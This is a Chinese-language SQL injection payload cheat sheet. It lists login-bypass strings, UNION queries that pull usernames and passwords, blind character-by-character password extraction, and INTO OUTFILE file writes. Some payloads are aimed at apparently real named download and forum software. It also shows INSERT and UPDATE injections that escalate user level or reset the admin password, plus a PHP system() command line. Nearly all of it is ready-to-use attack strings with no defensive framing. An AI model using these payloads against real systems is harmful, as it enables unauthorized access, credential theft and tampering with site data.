Injection庫總結

 程序代碼

' or 1=1  ' or '1=1  '/*  '%23  ' and password='mypass  id=-1 union select 1,1,1  id=-1 union select char(97),char(97),char(97)  id=1 union select 1,1,1 from members  id=1 union select 1,1,1 from admin  id=1 union select 1,1,1 from user  userid=1 and password=mypass  userid=1 and mid(password,3,1)=char(112)  userid=1 and mid(password,4,1)=char(97)  and ord(mid(password,3,1))>111 （ord函數很好用，能夠返回×××的）  ' and LENGTH(password)='6（探測密碼長度）  ' and LEFT(password,1)='m  ' and LEFT(password,2)='my  …………………………依次類推  ' union select 1,username,password from user/*  ' union select 1,username,password from user/*  =' union select 1,username,password from user/* （能夠是1或者=後直接跟）  99999' union select 1,username,password from user/*  ' into outfile 'c:/file.txt （導出文件）  =' or 1=1 into outfile 'c:/file.txt  1' union select 1,username,password from user into outfile 'c:/user.txt  SELECT password FROM admins WHERE login='John' INTO DUMPFILE '/path/to/site/file.txt'  id=' union select 1,username,password from user into outfile  id=-1 union select 1,database(),version() （靈活應用查詢）  經常使用查詢測試語句，  SELECT * FROM table WHERE 1=1  SELECT * FROM table WHERE 'uuu'='uuu'  SELECT * FROM table WHERE 1<>2  SELECT * FROM table WHERE 3>2  SELECT * FROM table WHERE 2<3  SELECT * FROM table WHERE 1  SELECT * FROM table WHERE 1+1  SELECT * FROM table WHERE 1--1  SELECT * FROM table WHERE ISNULL(NULL)  SELECT * FROM table WHERE ISNULL(COT(0))  SELECT * FROM table WHERE 1 IS NOT NULL  SELECT * FROM table WHERE NULL IS NULL  SELECT * FROM table WHERE 2 BETWEEN 1 AND 3  SELECT * FROM table WHERE 'b' BETWEEN 'a' AND 'c'  SELECT * FROM table WHERE 2 IN (0,1,2)  SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 END  例如：夜貓下載系統1.0版本  id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1  id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1  union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 （替換，尋找密碼）  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 （驗證第一位密碼）  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 （第二位）  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51  …………………………………………………………  例如2：灰色軌跡 變換id進行測試（meteor）  union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_events%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate  union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',pass(),version()%20FROM%20calendar_events%20WHERE%20eventid%20=%2010)%20order%20by%20eventdate  構造語句：  SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1)  SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = 1 union (select 1,1,1,1,username,password from user where userid=1)  UNION%20(SELECT%201,0,2,'1999-01-01','a',password%20FROM%20user%20WHERE%20userid%20=%205)%20order%20by%20eventdate  UNION%20(SELECT%201,0,12695,'1999-01-01','a',password%20FROM%20user%20WHERE%20userid=13465)%20order%20by%20eventdate  UNION%20(SELECT%201,0,12695,'1999-01-01','a',userid%20FROM%20user%20WHERE%20username='sandflee')%20order%20by%20eventdate （查沙子的id）  （SELECT a FROM table_name WHERE a=10 AND B=1 ORDER BY a LIMIT 10)  SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM……（字段和數據庫相同狀況下，可直接提交）  SELECT * FROM article WHERE articleid='$id' UNION SELECT 1,1,1,1,1,1,1 FROM……（不一樣的狀況下）  特殊技巧：在表單，搜索引擎等地方寫：  「___」  「.__ 」  「%  %' ORDER BY articleid/*  %' ORDER BY articleid#  __' ORDER BY articleid/*  __' ORDER BY articleid#  $command = "dir c:";system($command);  SELECT * FROM article WHERE articleid='$id'  SELECT * FROM article WHERE articleid=$id  1' and 1=2 union select * from user where userid=1/* 句中變爲  (SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*')  1 and 1=2 union select * from user where userid=1  語句形式：創建一個庫，插入：  CREATE DATABASE `injection`  CREATE TABLE `user` (  `userid` int(11) NOT NULL auto_increment,  `username` varchar(20) NOT NULL default '',  `password` varchar(20) NOT NULL default '',  PRIMARY KEY (`userid`)  ) ;  INSERT INTO `user` VALUES (1, 'swap', 'mypass');  插如一個註冊用戶：  INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');  「INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')";  INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1')  "INSERT INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'";  INSERT INTO membres SET login='',password='',nom='',userlevel='3',email=''  "INSERT INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')";  UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id'  UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'  "UPDATE membres SET password='$pass',nom='$nom',email='$email' WHERE id='$id'";  UPDATE membres SET password='[PASS]',nom='',userlevel='3',email=' ' WHERE id='[ID]'  "UPDATE news SET Votes=Votes+1, score=score+$note WHERE idnews='$id'";  長用函數：  DATABASE()  USER()  SYSTEM_USER()  SESSION_USER()  CURRENT_USER()  好比：  UPDATE article SET title=$title WHERE articleid=1 對應函數  UPDATE article SET title=DATABASE() WHERE id=1  #把當前數據庫名更新到title字段  UPDATE article SET title=USER() WHERE id=1  #把當前 MySQL 用戶名更新到title字段  UPDATE article SET title=SYSTEM_USER() WHERE id=1  #把當前 MySQL 用戶名更新到title字段  UPDATE article SET title=SESSION_USER() WHERE id=1  #把當前 MySQL 用戶名更新到title字段  UPDATE article SET title=CURRENT_USER() WHERE id=1  #把當前會話被驗證匹配的用戶名更新到title字段  ：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：  $req = "SELECT * FROM membres WHERE name LIKE '%$search%' ORDER BY name";  SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name  SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name  SELECT uid FROM admins WHERE login='' OR 'a'='a' AND password='' OR 'a'='a' （經典）  SELECT uid FROM admins WHERE login='' OR admin_level=1#' AND password=''  SELECT * FROM table WHERE msg LIKE '%hop'  SELECT uid FROM membres WHERE login='Bob' AND password LIKE 'a%'#' AND password=''  SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name